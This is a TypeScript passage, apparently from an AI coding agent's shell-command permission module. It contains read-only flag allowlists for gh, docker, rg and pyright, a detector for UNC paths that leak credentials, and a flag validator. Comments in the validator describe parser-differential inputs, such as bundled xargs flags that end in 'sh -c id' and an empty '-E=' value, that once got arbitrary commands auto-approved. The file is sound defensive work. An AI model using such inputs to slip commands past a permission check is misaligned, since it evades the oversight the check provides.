list': { 997 safeFlags: { 998 '--state': 'string', // open, closed, merged, all 999 '-s': 'string', 1000 '--author': 'string', 1001 '--assignee': 'string', 1002 '--label': 'string', 1003 '--limit': 'number', 1004 '-L': 'number', 1005 '--base': 'string', 1006 '--head': 'string', 1007 '--search': 'string', 1008 '--json': 'string', 1009 '--draft': 'none', 1010 '--app': 'string', 1011 '--repo': 'string', 1012 '-R': 'string', 1013 }, 1014 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1015 }, 1016 // gh pr diff is read-only — shows pull request diff 1017 'gh pr diff': { 1018 safeFlags: { 1019 '--color': 'string', 1020 '--name-only': 'none', 1021 '--patch': 'none', 1022 '--repo': 'string', 1023 '-R': 'string', 1024 }, 1025 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1026 }, 1027 // gh pr checks is read-only — shows CI status checks 1028 'gh pr checks': { 1029 safeFlags: { 1030 '--watch': 'none', 1031 '--required': 'none', 1032 '--fail-fast': 'none', 1033 '--json': 'string', 1034 '--interval': 'number', 1035 '--repo': 'string', 1036 '-R': 'string', 1037 }, 1038 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1039 }, 1040 // gh issue view is read-only — displays issue details 1041 'gh issue view': { 1042 safeFlags: { 1043 '--json': 'string', 1044 '--comments': 'none', 1045 '--repo': 'string', 1046 '-R': 'string', 1047 }, 1048 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1049 }, 1050 // gh issue list is read-only — lists issues 1051 'gh issue list': { 1052 safeFlags: { 1053 '--state': 'string', 1054 '-s': 'string', 1055 '--assignee': 'string', 1056 '--author': 'string', 1057 '--label': 'string', 1058 '--limit': 'number', 1059 '-L': 'number', 1060 '--milestone': 'string', 1061 '--search': 'string', 1062 '--json': 'string', 1063 '--app': 'string', 1064 '--repo': 'string', 1065 '-R': 'string', 1066 }, 1067 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1068 }, 1069 // gh repo view is read-only — displays repository details 1070 // NOTE: gh repo view uses a positional argument, not --repo/-R flags 1071 'gh repo view': { 1072 safeFlags: { 1073 '--json': 'string', 1074 }, 1075 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1076 }, 1077 // gh run list is read-only — lists workflow runs 1078 'gh run list': { 1079 safeFlags: { 1080 '--branch': 'string', // Filter by branch 1081 '-b': 'string', 1082 '--status': 'string', // Filter by status 1083 '-s': 'string', 1084 '--workflow': 'string', // Filter by workflow 1085 '-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web) 1086 '--limit': 'number', // Max results 1087 '-L': 'number', 1088 '--json': 'string', // JSON field selection 1089 '--repo': 'string', // Target repository 1090 '-R': 'string', 1091 '--event': 'string', // Filter by event type 1092 '-e': 'string', 1093 '--user': 'string', // Filter by user 1094 '-u': 'string', 1095 '--created': 'string', // Filter by creation date 1096 '--commit': 'string', // Filter by commit SHA 1097 '-c': 'string', 1098 }, 1099 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1100 }, 1101 // gh run view is read-only — displays a workflow run's details 1102 'gh run view': { 1103 safeFlags: { 1104 '--log': 'none', // Show full run log 1105 '--log-failed': 'none', // Show log for failed steps only 1106 '--exit-status': 'none', // Exit with run's status code 1107 '--verbose': 'none', // Show job steps 1108 '-v': 'none', // NOTE: -v is --verbose here, NOT --web 1109 '--json': 'string', // JSON field selection 1110 '--repo': 'string', // Target repository 1111 '-R': 'string', 1112 '--job': 'string', // View a specific job by ID 1113 '-j': 'string', 1114 '--attempt': 'number', // View a specific attempt 1115 '-a': 'number', 1116 }, 1117 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1118 }, 1119 // gh auth status is read-only — displays authentication state 1120 // NOTE: --show-token/-t intentionally excluded (leaks secrets) 1121 'gh auth status': { 1122 safeFlags: { 1123 '--active': 'none', // Display active account only 1124 '-a': 'none', 1125 '--hostname': 'string', // Check specific hostname 1126 '-h': 'string', 1127 '--json': 'string', // JSON field selection 1128 }, 1129 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1130 }, 1131 // gh pr status is read-only — shows your PRs 1132 'gh pr status': { 1133 safeFlags: { 1134 '--conflict-status': 'none', // Display merge conflict status 1135 '-c': 'none', 1136 '--json': 'string', // JSON field selection 1137 '--repo': 'string', // Target repository 1138 '-R': 'string', 1139 }, 1140 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1141 }, 1142 // gh issue status is read-only — shows your issues 1143 'gh issue status': { 1144 safeFlags: { 1145 '--json': 'string', // JSON field selection 1146 '--repo': 'string', // Target repository 1147 '-R': 'string', 1148 }, 1149 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1150 }, 1151 // gh release list is read-only — lists releases 1152 'gh release list': { 1153 safeFlags: { 1154 '--exclude-drafts': 'none', // Exclude draft releases 1155 '--exclude-pre-releases': 'none', // Exclude pre-releases 1156 '--json': 'string', // JSON field selection 1157 '--limit': 'number', // Max results 1158 '-L': 'number', 1159 '--order': 'string', // Order: asc|desc 1160 '-O': 'string', 1161 '--repo': 'string', // Target repository 1162 '-R': 'string', 1163 }, 1164 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1165 }, 1166 // gh release view is read-only — displays release details 1167 // NOTE: --web/-w intentionally excluded (opens browser) 1168 'gh release view': { 1169 safeFlags: { 1170 '--json': 'string', // JSON field selection 1171 '--repo': 'string', // Target repository 1172 '-R': 'string', 1173 }, 1174 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1175 }, 1176 // gh workflow list is read-only — lists workflow files 1177 'gh workflow list': { 1178 safeFlags: { 1179 '--all': 'none', // Include disabled workflows 1180 '-a': 'none', 1181 '--json': 'string', // JSON field selection 1182 '--limit': 'number', // Max results 1183 '-L': 'number', 1184 '--repo': 'string', // Target repository 1185 '-R': 'string', 1186 }, 1187 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1188 }, 1189 // gh workflow view is read-only — displays workflow summary 1190 // NOTE: --web/-w intentionally excluded (opens browser) 1191 'gh workflow view': { 1192 safeFlags: { 1193 '--ref': 'string', // Branch/tag with workflow version 1194 '-r': 'string', 1195 '--yaml': 'none', // View workflow yaml 1196 '-y': 'none', 1197 '--repo': 'string', // Target repository 1198 '-R': 'string', 1199 }, 1200 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1201 }, 1202 // gh label list is read-only — lists labels 1203 // NOTE: --web/-w intentionally excluded (opens browser) 1204 'gh label list': { 1205 safeFlags: { 1206 '--json': 'string', // JSON field selection 1207 '--limit': 'number', // Max results 1208 '-L': 'number', 1209 '--order': 'string', // Order: asc|desc 1210 '--search': 'string', // Search label names 1211 '-S': 'string', 1212 '--sort': 'string', // Sort: created|name 1213 '--repo': 'string', // Target repository 1214 '-R': 'string', 1215 }, 1216 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 1217 }, 1218 // gh search repos is read-only — searches repositories 1219 // NOTE: --web/-w intentionally excluded (opens browser) 1220 'gh search repos': { 1221 safeFlags: { 1222 '--archived': 'none', // Filter by archived state 1223 '--created': 'string', // Filter by creation date 1224 '--followers': 'string', // Filter by followers count 1225 '--forks': 'string', // Filter by forks count 1226 '--good-first-issues': 'string', // Filter by good first issues 1227 '--help-wanted-issues': 'string', // Filter by help wanted issues 1228 '--include-forks': 'string', // Include forks: false|true|only 1229 '--json': 'string', // JSON field selection 1230 '--language': 'string', // Filter by language 1231 '--license': 'string', // Filter by license 1232 '--limit': 'number', // Max results 1233 '-L': 'number', 1234 '--match': 'string', // Restrict to field: name|description|readme 1235 '--number-topics': 'string', // Filter by number of topics 1236 '--order': 'string', // Order: asc|desc 1237 '--owner': 'string', // Filter by owner 1238 '--size': 'string', // Filter by size range 1239 '--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated 1240 '--stars': 'string', // Filter by stars 1241 '--topic': 'string', // Filter by topic 1242 '--updated': 'string', // Filter by update date 1243 '--visibility': 'string', // Filter: public|private|internal 1244 }, 1245 }, 1246 // gh search issues is read-only — searches issues 1247 // NOTE: --web/-w intentionally excluded (opens browser) 1248 'gh search issues': { 1249 safeFlags: { 1250 '--app': 'string', // Filter by GitHub App author 1251 '--assignee': 'string', // Filter by assignee 1252 '--author': 'string', // Filter by author 1253 '--closed': 'string', // Filter by closed date 1254 '--commenter': 'string', // Filter by commenter 1255 '--comments': 'string', // Filter by comment count 1256 '--created': 'string', // Filter by creation date 1257 '--include-prs': 'none', // Include PRs in results 1258 '--interactions': 'string', // Filter by interactions count 1259 '--involves': 'string', // Filter by involvement 1260 '--json': 'string', // JSON field selection 1261 '--label': 'string', // Filter by label 1262 '--language': 'string', // Filter by language 1263 '--limit': 'number', // Max results 1264 '-L': 'number', 1265 '--locked': 'none', // Filter locked conversations 1266 '--match': 'string', // Restrict to field: title|body|comments 1267 '--mentions': 'string', // Filter by user mentions 1268 '--milestone': 'string', // Filter by milestone 1269 '--no-assignee': 'none', // Filter missing assignee 1270 '--no-label': 'none', // Filter missing label 1271 '--no-milestone': 'none', // Filter missing milestone 1272 '--no-project': 'none', // Filter missing project 1273 '--order': 'string', // Order: asc|desc 1274 '--owner': 'string', // Filter by owner 1275 '--project': 'string', // Filter by project 1276 '--reactions': 'string', // Filter by reaction count 1277 '--repo': 'string', // Filter by repository 1278 '-R': 'string', 1279 '--sort': 'string', // Sort field 1280 '--state': 'string', // Filter: open|closed 1281 '--team-mentions': 'string', // Filter by team mentions 1282 '--updated': 'string', // Filter by update date 1283 '--visibility': 'string', // Filter: public|private|internal 1284 }, 1285 }, 1286 // gh search prs is read-only — searches pull requests 1287 // NOTE: --web/-w intentionally excluded (opens browser) 1288 'gh search prs': { 1289 safeFlags: { 1290 '--app': 'string', // Filter by GitHub App author 1291 '--assignee': 'string', // Filter by assignee 1292 '--author': 'string', // Filter by author 1293 '--base': 'string', // Filter by base branch 1294 '-B': 'string', 1295 '--checks': 'string', // Filter by check status 1296 '--closed': 'string', // Filter by closed date 1297 '--commenter': 'string', // Filter by commenter 1298 '--comments': 'string', // Filter by comment count 1299 '--created': 'string', // Filter by creation date 1300 '--draft': 'none', // Filter draft PRs 1301 '--head': 'string', // Filter by head branch 1302 '-H': 'string', 1303 '--interactions': 'string', // Filter by interactions count 1304 '--involves': 'string', // Filter by involvement 1305 '--json': 'string', // JSON field selection 1306 '--label': 'string', // Filter by label 1307 '--language': 'string', // Filter by language 1308 '--limit': 'number', // Max results 1309 '-L': 'number', 1310 '--locked': 'none', // Filter locked conversations 1311 '--match': 'string', // Restrict to field: title|body|comments 1312 '--mentions': 'string', // Filter by user mentions 1313 '--merged': 'none', // Filter merged PRs 1314 '--merged-at': 'string', // Filter by merge date 1315 '--milestone': 'string', // Filter by milestone 1316 '--no-assignee': 'none', // Filter missing assignee 1317 '--no-label': 'none', // Filter missing label 1318 '--no-milestone': 'none', // Filter missing milestone 1319 '--no-project': 'none', // Filter missing project 1320 '--order': 'string', // Order: asc|desc 1321 '--owner': 'string', // Filter by owner 1322 '--project': 'string', // Filter by project 1323 '--reactions': 'string', // Filter by reaction count 1324 '--repo': 'string', // Filter by repository 1325 '-R': 'string', 1326 '--review': 'string', // Filter by review status 1327 '--review-requested': 'string', // Filter by review requested 1328 '--reviewed-by': 'string', // Filter by reviewer 1329 '--sort': 'string', // Sort field 1330 '--state': 'string', // Filter: open|closed 1331 '--team-mentions': 'string', // Filter by team mentions 1332 '--updated': 'string', // Filter by update date 1333 '--visibility': 'string', // Filter: public|private|internal 1334 }, 1335 }, 1336 // gh search commits is read-only — searches commits 1337 // NOTE: --web/-w intentionally excluded (opens browser) 1338 'gh search commits': { 1339 safeFlags: { 1340 '--author': 'string', // Filter by author 1341 '--author-date': 'string', // Filter by authored date 1342 '--author-email': 'string', // Filter by author email 1343 '--author-name': 'string', // Filter by author name 1344 '--committer': 'string', // Filter by committer 1345 '--committer-date': 'string', // Filter by committed date 1346 '--committer-email': 'string', // Filter by committer email 1347 '--committer-name': 'string', // Filter by committer name 1348 '--hash': 'string', // Filter by commit hash 1349 '--json': 'string', // JSON field selection 1350 '--limit': 'number', // Max results 1351 '-L': 'number', 1352 '--merge': 'none', // Filter merge commits 1353 '--order': 'string', // Order: asc|desc 1354 '--owner': 'string', // Filter by owner 1355 '--parent': 'string', // Filter by parent hash 1356 '--repo': 'string', // Filter by repository 1357 '-R': 'string', 1358 '--sort': 'string', // Sort: author-date|committer-date 1359 '--tree': 'string', // Filter by tree hash 1360 '--visibility': 'string', // Filter: public|private|internal 1361 }, 1362 }, 1363 // gh search code is read-only — searches code 1364 // NOTE: --web/-w intentionally excluded (opens browser) 1365 'gh search code': { 1366 safeFlags: { 1367 '--extension': 'string', // Filter by file extension 1368 '--filename': 'string', // Filter by filename 1369 '--json': 'string', // JSON field selection 1370 '--language': 'string', // Filter by language 1371 '--limit': 'number', // Max results 1372 '-L': 'number', 1373 '--match': 'string', // Restrict to: file|path 1374 '--owner': 'string', // Filter by owner 1375 '--repo': 'string', // Filter by repository 1376 '-R': 'string', 1377 '--size': 'string', // Filter by size range 1378 }, 1379 }, 1380} 1381 1382// --------------------------------------------------------------------------- 1383// DOCKER_READ_ONLY_COMMANDS — docker inspect/logs read-only commands 1384// --------------------------------------------------------------------------- 1385 1386export const DOCKER_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = 1387 { 1388 'docker logs': { 1389 safeFlags: { 1390 '--follow': 'none', 1391 '-f': 'none', 1392 '--tail': 'string', 1393 '-n': 'string', 1394 '--timestamps': 'none', 1395 '-t': 'none', 1396 '--since': 'string', 1397 '--until': 'string', 1398 '--details': 'none', 1399 }, 1400 }, 1401 'docker inspect': { 1402 safeFlags: { 1403 '--format': 'string', 1404 '-f': 'string', 1405 '--type': 'string', 1406 '--size': 'none', 1407 '-s': 'none', 1408 }, 1409 }, 1410 } 1411 1412// --------------------------------------------------------------------------- 1413// RIPGREP_READ_ONLY_COMMANDS — rg (ripgrep) read-only search 1414// --------------------------------------------------------------------------- 1415 1416export const RIPGREP_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = 1417 { 1418 rg: { 1419 safeFlags: { 1420 // Pattern flags 1421 '-e': 'string', // Pattern to search for 1422 '--regexp': 'string', 1423 '-f': 'string', // Read patterns from file 1424 1425 // Common search options 1426 '-i': 'none', // Case insensitive 1427 '--ignore-case': 'none', 1428 '-S': 'none', // Smart case 1429 '--smart-case': 'none', 1430 '-F': 'none', // Fixed strings 1431 '--fixed-strings': 'none', 1432 '-w': 'none', // Word regexp 1433 '--word-regexp': 'none', 1434 '-v': 'none', // Invert match 1435 '--invert-match': 'none', 1436 1437 // Output options 1438 '-c': 'none', // Count matches 1439 '--count': 'none', 1440 '-l': 'none', // Files with matches 1441 '--files-with-matches': 'none', 1442 '--files-without-match': 'none', 1443 '-n': 'none', // Line number 1444 '--line-number': 'none', 1445 '-o': 'none', // Only matching 1446 '--only-matching': 'none', 1447 '-A': 'number', // After context 1448 '--after-context': 'number', 1449 '-B': 'number', // Before context 1450 '--before-context': 'number', 1451 '-C': 'number', // Context 1452 '--context': 'number', 1453 '-H': 'none', // With filename 1454 '-h': 'none', // No filename 1455 '--heading': 'none', 1456 '--no-heading': 'none', 1457 '-q': 'none', // Quiet 1458 '--quiet': 'none', 1459 '--column': 'none', 1460 1461 // File filtering 1462 '-g': 'string', // Glob 1463 '--glob': 'string', 1464 '-t': 'string', // Type 1465 '--type': 'string', 1466 '-T': 'string', // Type not 1467 '--type-not': 'string', 1468 '--type-list': 'none', 1469 '--hidden': 'none', 1470 '--no-ignore': 'none', 1471 '-u': 'none', // Unrestricted 1472 1473 // Common options 1474 '-m': 'number', // Max count per file 1475 '--max-count': 'number', 1476 '-d': 'number', // Max depth 1477 '--max-depth': 'number', 1478 '-a': 'none', // Text (search binary files) 1479 '--text': 'none', 1480 '-z': 'none', // Search zip 1481 '-L': 'none', // Follow symlinks 1482 '--follow': 'none', 1483 1484 // Display options 1485 '--color': 'string', 1486 '--json': 'none', 1487 '--stats': 'none', 1488 1489 // Help and version 1490 '--help': 'none', 1491 '--version': 'none', 1492 '--debug': 'none', 1493 1494 // Special argument separator 1495 '--': 'none', 1496 }, 1497 }, 1498 } 1499 1500// --------------------------------------------------------------------------- 1501// PYRIGHT_READ_ONLY_COMMANDS — pyright static type checker 1502// --------------------------------------------------------------------------- 1503 1504export const PYRIGHT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = 1505 { 1506 pyright: { 1507 respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options 1508 safeFlags: { 1509 '--outputjson': 'none', 1510 '--project': 'string', 1511 '-p': 'string', 1512 '--pythonversion': 'string', 1513 '--pythonplatform': 'string', 1514 '--typeshedpath': 'string', 1515 '--venvpath': 'string', 1516 '--level': 'string', 1517 '--stats': 'none', 1518 '--verbose': 'none', 1519 '--version': 'none', 1520 '--dependencies': 'none', 1521 '--warnings': 'none', 1522 }, 1523 additionalCommandIsDangerousCallback: ( 1524 _rawCommand: string, 1525 args: string[], 1526 ) => { 1527 // Check if --watch or -w appears as a standalone token (flag) 1528 return args.some(t => t === '--watch' || t === '-w') 1529 }, 1530 }, 1531 } 1532 1533// --------------------------------------------------------------------------- 1534// EXTERNAL_READONLY_COMMANDS — cross-shell read-only commands 1535// Only commands that work identically in bash and PowerShell on Windows. 1536// Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS. 1537// --------------------------------------------------------------------------- 1538 1539export const EXTERNAL_READONLY_COMMANDS: readonly string[] = [ 1540 // Cross-platform external tools that work the same in bash and PowerShell on Windows 1541 'docker ps', 1542 'docker images', 1543] as const 1544 1545// --------------------------------------------------------------------------- 1546// UNC path detection (shared across Bash and PowerShell) 1547// --------------------------------------------------------------------------- 1548 1549/** 1550 * Check if a path or command contains a UNC path that could trigger network 1551 * requests (NTLM/Kerberos credential leakage, WebDAV attacks). 1552 * 1553 * This function detects: 1554 * - Basic UNC paths: \\server\share, \\foo.com\file 1555 * - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\ 1556 * - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share 1557 * - Forward-slash variants: //server/share 1558 * 1559 * @param pathOrCommand The path or command string to check 1560 * @returns true if the path/command contains potentially vulnerable UNC paths 1561 */ 1562export function containsVulnerableUncPath(pathOrCommand: string): boolean { 1563 // Only check on Windows platform 1564 if (getPlatform() !== 'windows') { 1565 return false 1566 } 1567 1568 // 1. Check for general UNC paths with backslashes 1569 // Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share 1570 // Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars 1571 // Trailing accepts both \ and / since Windows treats both as path separators 1572 const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i 1573 if (backslashUncPattern.test(pathOrCommand)) { 1574 return true 1575 } 1576 1577 // 2. Check for forward-slash UNC paths 1578 // Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share 1579 // Uses negative lookbehind (?<!:) to exclude URLs (https://, http://, ftp://) 1580 // while catching // preceded by quotes, =, or any other non-colon character. 1581 // Trailing accepts both / and \ since Windows treats both as path separators 1582 const forwardSlashUncPattern = 1583 // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() on short command strings 1584 /(?<!:)\/\/[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i 1585 if (forwardSlashUncPattern.test(pathOrCommand)) { 1586 return true 1587 } 1588 1589 // 3. Check for mixed-separator UNC paths (forward slash + backslashes) 1590 // On Windows/Cygwin, /\ is equivalent to // since both are path separators. 1591 // In bash, /\\server becomes /\server after escape processing, which is a UNC path. 1592 // Requires 2+ backslashes after / because a single backslash just escapes the next char 1593 // (e.g., /\a → /a after bash processing, which is NOT a UNC path). 1594 const mixedSlashUncPattern = /\/\\{2,}[^\s\\/]/ 1595 if (mixedSlashUncPattern.test(pathOrCommand)) { 1596 return true 1597 } 1598 1599 // 4. Check for mixed-separator UNC paths (backslashes + forward slash) 1600 // \\/server in bash becomes \/server after escape processing, which is a UNC path 1601 // on Windows since both \ and / are path separators. 1602 const reverseMixedSlashUncPattern = /\\{2,}\/[^\s\\/]/ 1603 if (reverseMixedSlashUncPattern.test(pathOrCommand)) { 1604 return true 1605 } 1606 1607 // 5. Check for WebDAV SSL/port patterns 1608 // Examples: \\server@SSL@8443\path, \\server@8443@SSL\path 1609 if (/@SSL@\d+/i.test(pathOrCommand) || /@\d+@SSL/i.test(pathOrCommand)) { 1610 return true 1611 } 1612 1613 // 6. Check for DavWWWRoot marker (Windows WebDAV redirector) 1614 // Example: \\server\DavWWWRoot\path 1615 if (/DavWWWRoot/i.test(pathOrCommand)) { 1616 return true 1617 } 1618 1619 // 7. Check for UNC paths with IPv4 addresses (explicit check for defense-in-depth) 1620 // Examples: \\192.168.1.1\share, \\10.0.0.1\path 1621 if ( 1622 /^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) || 1623 /^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) 1624 ) { 1625 return true 1626 } 1627 1628 // 8. Check for UNC paths with bracketed IPv6 addresses (explicit check for defense-in-depth) 1629 // Examples: \\[2001:db8::1]\share, \\[::1]\path 1630 if ( 1631 /^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) || 1632 /^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) 1633 ) { 1634 return true 1635 } 1636 1637 return false 1638} 1639 1640// --------------------------------------------------------------------------- 1641// Flag validation utilities 1642// --------------------------------------------------------------------------- 1643 1644// Regex pattern to match valid flag names (letters, digits, underscores, hyphens) 1645export const FLAG_PATTERN = /^-[a-zA-Z0-9_-]/ 1646 1647/** 1648 * Validates flag arguments based on their expected type 1649 */ 1650export function validateFlagArgument( 1651 value: string, 1652 argType: FlagArgType, 1653): boolean { 1654 switch (argType) { 1655 case 'none': 1656 return false // Should not have been called for 'none' type 1657 case 'number': 1658 return /^\d+$/.test(value) 1659 case 'string': 1660 return true // Any string including empty is valid 1661 case 'char': 1662 return value.length === 1 1663 case '{}': 1664 return value === '{}' 1665 case 'EOF': 1666 return value === 'EOF' 1667 default: 1668 return false 1669 } 1670} 1671 1672/** 1673 * Validates the flags/arguments portion of a tokenized command against a config. 1674 * This is the flag-walking loop extracted from BashTool's isCommandSafeViaFlagParsing. 1675 * 1676 * @param tokens - Pre-tokenized args (from bash shell-quote or PowerShell AST) 1677 * @param startIndex - Where to start validating (after command tokens) 1678 * @param config - The safe flags config 1679 * @param options.commandName - For command-specific handling (git numeric shorthand, grep/rg attached numeric) 1680 * @param options.rawCommand - For additionalCommandIsDangerousCallback 1681 * @param options.xargsTargetCommands - If provided, enables xargs-style target command detection 1682 * @returns true if all flags are valid, false otherwise 1683 */ 1684export function validateFlags( 1685 tokens: string[], 1686 startIndex: number, 1687 config: ExternalCommandConfig, 1688 options?: { 1689 commandName?: string 1690 rawCommand?: string 1691 xargsTargetCommands?: string[] 1692 }, 1693): boolean { 1694 let i = startIndex 1695 1696 while (i < tokens.length) { 1697 let token = tokens[i] 1698 if (!token) { 1699 i++ 1700 continue 1701 } 1702 1703 // Special handling for xargs: once we find the target command, stop validating flags 1704 if ( 1705 options?.xargsTargetCommands && 1706 options.commandName === 'xargs' && 1707 (!token.startsWith('-') || token === '--') 1708 ) { 1709 if (token === '--' && i + 1 < tokens.length) { 1710 i++ 1711 token = tokens[i] 1712 } 1713 if (token && options.xargsTargetCommands.includes(token)) { 1714 break 1715 } 1716 return false 1717 } 1718 1719 if (token === '--') { 1720 // SECURITY: Only break if the tool respects POSIX `--` (default: true). 1721 // Tools like pyright don't respect `--` — they treat it as a file path 1722 // and continue processing subsequent tokens as flags. Breaking here 1723 // would let `pyright -- --createstub os` auto-approve a file-write flag. 1724 if (config.respectsDoubleDash !== false) { 1725 i++ 1726 break // Everything after -- is arguments 1727 } 1728 // Tool doesn't respect --: treat as positional arg, keep validating 1729 i++ 1730 continue 1731 } 1732 1733 if (token.startsWith('-') && token.length > 1 && FLAG_PATTERN.test(token)) { 1734 // Handle --flag=value format 1735 // SECURITY: Track whether the token CONTAINS `=` separately from 1736 // whether the value is non-empty. `-E=` has `hasEquals=true` but 1737 // `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at 1738 // line ~1813 would fall through to "consume next token" — but GNU 1739 // getopt for short options with mandatory arg sees `-E=` as `-E` with 1740 // ATTACHED arg `=` (it doesn't strip `=` for short options). Parser 1741 // differential: validator advances 2 tokens, GNU advances 1. 1742 // 1743 // Attack: `xargs -E= EOF echo foo` (zero permissions) 1744 // Validator: inlineValue='' falsy → consumes EOF as -E arg → i+=2 → 1745 // echo ∈ SAFE_TARGET_COMMANDS_FOR_XARGS → break → AUTO-ALLOWED 1746 // GNU xargs: -E attached arg=`=` → EOF is TARGET COMMAND → CODE EXEC 1747 // 1748 // Fix: when hasEquals is true, use inlineValue (even if empty) as the 1749 // provided arg. validateFlagArgument('', 'EOF') → false → rejected. 1750 // This is correct for all arg types: the user explicitly typed `=`, 1751 // indicating they provided a value (empty). Don't consume next token. 1752 const hasEquals = token.includes('=') 1753 const [flag, ...valueParts] = token.split('=') 1754 const inlineValue = valueParts.join('=') 1755 1756 if (!flag) { 1757 return false 1758 } 1759 1760 const flagArgType = config.safeFlags[flag] 1761 1762 if (!flagArgType) { 1763 // Special case: git commands support -<number> as shorthand for -n <number> 1764 if (options?.commandName === 'git' && flag.match(/^-\d+$/)) { 1765 // This is equivalent to -n flag which is safe for git log/diff/show 1766 i++ 1767 continue 1768 } 1769 1770 // Handle flags with directly attached numeric arguments (e.g., -A20, -B10) 1771 // Only apply this special handling to grep and rg commands 1772 if ( 1773 (options?.commandName === 'grep' || options?.commandName === 'rg') && 1774 flag.startsWith('-') && 1775 !flag.startsWith('--') && 1776 flag.length > 2 1777 ) { 1778 const potentialFlag = flag.substring(0, 2) // e.g., '-A' from '-A20' 1779 const potentialValue = flag.substring(2) // e.g., '20' from '-A20' 1780 1781 if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) { 1782 // This is a flag with attached numeric argument 1783 const flagArgType = config.safeFlags[potentialFlag] 1784 if (flagArgType === 'number' || flagArgType === 'string') { 1785 // Validate the numeric value 1786 if (validateFlagArgument(potentialValue, flagArgType)) { 1787 i++ 1788 continue 1789 } else { 1790 return false // Invalid attached value 1791 } 1792 } 1793 } 1794 } 1795 1796 // Handle combined single-letter flags like -nr 1797 // SECURITY: We must NOT allow any bundled flag that takes an argument. 1798 // GNU getopt bundling semantics: when an arg-taking option appears LAST 1799 // in a bundle with no trailing chars, the NEXT argv element is consumed 1800 // as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as: 1801 // -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id` 1802 // Our naive handler previously only checked EXISTENCE in safeFlags (both 1803 // `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token. 1804 // This created a parser differential: our validator thought `echo` was 1805 // the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS → break), but 1806 // xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less. 1807 // 1808 // Fix: require ALL bundled flags to have arg type 'none'. If any bundled 1809 // flag requires an argument (non-'none' type), reject the whole bundle. 1810 // This is conservative — it blocks `-rI` (xargs) entirely, but that's 1811 // the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`. 1812 if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) { 1813 for (let j = 1; j < flag.length; j++) { 1814 const singleFlag = '-' + flag[j] 1815 const flagType = config.safeFlags[singleFlag] 1816 if (!flagType) { 1817 return false // One of the combined flags is not safe 1818 } 1819 // SECURITY: Bundled flags must be no-arg type. An arg-taking flag 1820 // in a bundle consumes the NEXT token in GNU getopt, which our 1821 // handler doesn't model. Reject to avoid parser differential. 1822 if (flagType !== 'none') { 1823 return false // Arg-taking flag in a bundle — cannot safely validate 1824 } 1825 } 1826 i++ 1827 continue 1828 } else { 1829 return false // Unknown flag 1830 } 1831 } 1832 1833 // Validate flag arguments 1834 if (flagArgType === 'none') { 1835 // SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it, 1836 // `-FLAG=` with 'none' type would pass (inlineValue='' is falsy). 1837 if (hasEquals) { 1838 return false // Flag should not have a value 1839 } 1840 i++ 1841 } else { 1842 let argValue: string 1843 // SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must 1844 // NOT consume next token — the user explicitly provided empty value. 1845 if (hasEquals) { 1846 argValue = inlineValue 1847 i++ 1848 } else { 1849 // Check if next token is the argument 1850 if ( 1851 i + 1 >= tokens.length || 1852 (tokens[i + 1] && 1853 tokens[i + 1]!.startsWith('-') && 1854 tokens[i + 1]!.length > 1 && 1855 FLAG_PATTERN.test(tokens[i + 1]!)) 1856 ) { 1857 return false // Missing required argument 1858 } 1859 argValue = tokens[i + 1] || '' 1860 i += 2 1861 } 1862 1863 // Defense-in-depth: For string arguments, reject values that start with '-' 1864 // This prevents type confusion attacks where a flag marked as 'string' 1865 // but actually takes no arguments could be used to inject dangerous flags 1866 // Exception: git's --sort flag can have values starting with '-' for reverse sorting 1867 if (flagArgType === 'string' && argValue.startsWith('-')) { 1868 // Special case: git's --sort flag allows - prefix for reverse sorting 1869 if ( 1870 flag === '--sort' && 1871 options?.commandName === 'git' && 1872 argValue.match(/^-[a-zA-Z]/) 1873 ) { 1874 // This looks like a reverse sort (e.g., -refname, -version:refname) 1875 // Allow it if the rest looks like a valid sort key 1876 } else { 1877 return false 1878 } 1879 } 1880 1881 // Validate argument based on type 